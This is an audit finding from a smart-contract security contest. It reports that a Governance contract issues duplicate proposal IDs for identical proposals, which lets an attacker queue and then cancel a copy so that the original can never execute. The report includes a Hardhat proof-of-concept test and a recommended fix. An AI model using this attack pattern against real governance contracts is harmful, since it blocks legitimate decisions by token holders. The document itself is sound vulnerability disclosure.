Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Proposal hijacking via duplicate descriptions in Governance contract

Summary

A vulnerability in the Governance contract allows attackers to hijack proposals by duplicating their descriptions, queueing their own copy ahead of the original, and then cancelling it. This prevents the original proposal from ever being executed, effectively creating a Governance Denial of Service (DoS) attack.

Vulnerability Details

The Governance#propose() doesn't identify propose correctly.

There's no validation of description that are already created. The propose ID is generated by propose()'s arguments and description is important.

Normal success flow:

Proposal created -> castVote() -> execute(_queueProposal) -> execute(_executeProposal())

Attacker flow:

Proposal created -> castVote() -> execute(_queueProposal) -> cancel()

Attack scenario:

The attacker submits the same description as a valid proposal, their propose will have the same ID.

The attacker can queue their proposal first and cancel it before execution.

The original proposal is now invalid (ID already exists), blocking governance actions.

Proof Of Code

Testcode is written "Integration Scenarios" module in Governance.test.js

it("proposal hijacking", async () => {
// Get current time and calculate next week boundary
const currentTime = await time.latest();
const startTime = Math.floor((currentTime + WEEK) / WEEK) * WEEK;
// Move to start time
await time.setNextBlockTimestamp(startTime);
await network.provider.send("evm_mine");
// Create proposals
const tx1 = await governance.connect(user1).propose(
[await testTarget.getAddress()],
[0],
[testTarget.interface.encodeFunctionData("setValue", [42])],
"Test Proposal",
0
);
const receipt1 = await tx1.wait();
const event1 = receipt1.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const proposalId1 = event1.args.proposalId;
// Create attacker proposal
const tx2 = await governance.connect(user2).propose(
[await testTarget.getAddress()],
[0],
[testTarget.interface.encodeFunctionData("setValue", [42])],
"Test Proposal",
0
);
const receipt2 = await tx2.wait();
const event2 = receipt2.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const proposalId2 = event2.args.proposalId;
// Wait for voting delay
await time.increase(VOTING_DELAY);
await network.provider.send("evm_mine");
expect(await governance.state(proposalId1)).to.equal(ProposalState.Active);
expect(await governance.state(proposalId2)).to.equal(ProposalState.Active);
// Cast votes
await castVotesOnProposals(proposalId1, proposalId2);
// Wait for voting period to end
await time.increaseTo(startTime + VOTING_DELAY + VOTING_PERIOD);
await network.provider.send("evm_mine");
// Both should be Succeeded
expect(await governance.state(proposalId1)).to.equal(ProposalState.Succeeded);
expect(await governance.state(proposalId2)).to.equal(ProposalState.Succeeded);
await governance.execute(proposalId2);
await governance.connect(user2).cancel(proposalId2);
await governance.execute(proposalId1);
});

proposalId1 can't be executed due to proposalId2 canceled.

Impact

Attackers can prevent valid proposals from being executed.

Tools Used

manual

Recommendations

Reference to Openzeppelin's Governor#propose().

Append proposer's address to description.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance generates non-unique timelock operation IDs for different proposals with identical parameters, allowing timelock bypass and proposal DoS attacks

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance generates non-unique timelock operation IDs for different proposals with identical parameters, allowing timelock bypass and proposal DoS attacks

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!